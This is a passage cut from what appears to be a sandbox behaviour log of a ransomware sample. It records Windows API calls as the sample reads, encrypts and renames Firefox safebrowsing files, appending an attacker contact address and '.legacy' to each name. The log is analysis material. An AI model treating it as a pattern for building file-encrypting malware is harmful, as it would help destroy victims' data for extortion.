lpOverlapped=0x0) returned 1 [0178.408] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.408] CloseHandle (hObject=0x1a4c) returned 1 [0178.408] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0178.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5858f0 [0178.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618bb8 [0178.411] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e68d0, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e68d0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0178.412] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.412] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e7410*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7410*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0178.412] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0178.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.412] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.412] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.413] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.413] CloseHandle (hObject=0x1a4c) returned 1 [0178.413] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.415] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5859e8 [0178.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618ea8 [0178.416] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20300, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20300*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.416] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.416] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20120*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.417] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.417] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.417] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.417] CloseHandle (hObject=0x1a4c) returned 1 [0178.417] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0178.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0178.419] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x5857f8 [0178.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6185d8 [0178.420] ReadFile (in: hFile=0x1a4c, lpBuffer=0x61cc78, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61cc78*, lpNumberOfBytesRead=0x2e1f9bc*=0x10c, lpOverlapped=0x0) returned 1 [0178.420] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.421] WriteFile (in: hFile=0x1a4c, lpBuffer=0x61d0d8*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61d0d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10c, lpOverlapped=0x0) returned 1 [0178.421] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10c [0178.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.421] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.422] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.422] CloseHandle (hObject=0x1a4c) returned 1 [0178.422] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.424] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.424] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.424] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30c9b20 [0178.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a818 [0178.425] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20120, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20120*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.426] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.426] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20138*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20138*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.426] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.426] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.426] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.427] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.427] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.427] CloseHandle (hObject=0x1a4c) returned 1 [0178.427] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0178.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585418 [0178.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618bb8 [0178.430] ReadFile (in: hFile=0x1a4c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1435c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1435c, lpOverlapped=0x0) returned 1 [0178.443] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-82780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.443] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x1435c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1435c, lpOverlapped=0x0) returned 1 [0178.444] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1435c [0178.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.444] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.444] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.448] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.448] CloseHandle (hObject=0x1a4c) returned 1 [0178.449] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0178.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.451] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585130 [0178.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0178.451] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e201b0, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.452] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.452] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e201f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e201f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.452] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.453] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.453] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.453] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.453] CloseHandle (hObject=0x1a4c) returned 1 [0178.453] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flashsubdoc-digest256.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.688] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.688] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0178.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585cd0 [0178.688] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618a40 [0178.688] ReadFile (in: hFile=0x1a4c, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1de0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1de0, lpOverlapped=0x0) returned 1 [0178.717] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-7648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.717] WriteFile (in: hFile=0x1a4c, lpBuffer=0x30d8e20*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8e20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1de0, lpOverlapped=0x0) returned 1 [0178.718] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1de0 [0178.718] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0178.718] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0178.718] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0178.719] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0178.719] CloseHandle (hObject=0x1a4c) returned 1 [0178.719] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0178.720] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0178.720] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0178.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\block-flash-digest256.pset", dwFileAttributes=0x80) returned 1 [0178.721] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30ca348 [0178.721] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609c00 [0178.721] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20348, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20348*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.722] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.722] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20270*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20270*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0178.723] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0178.723] CryptEncrypt (in: 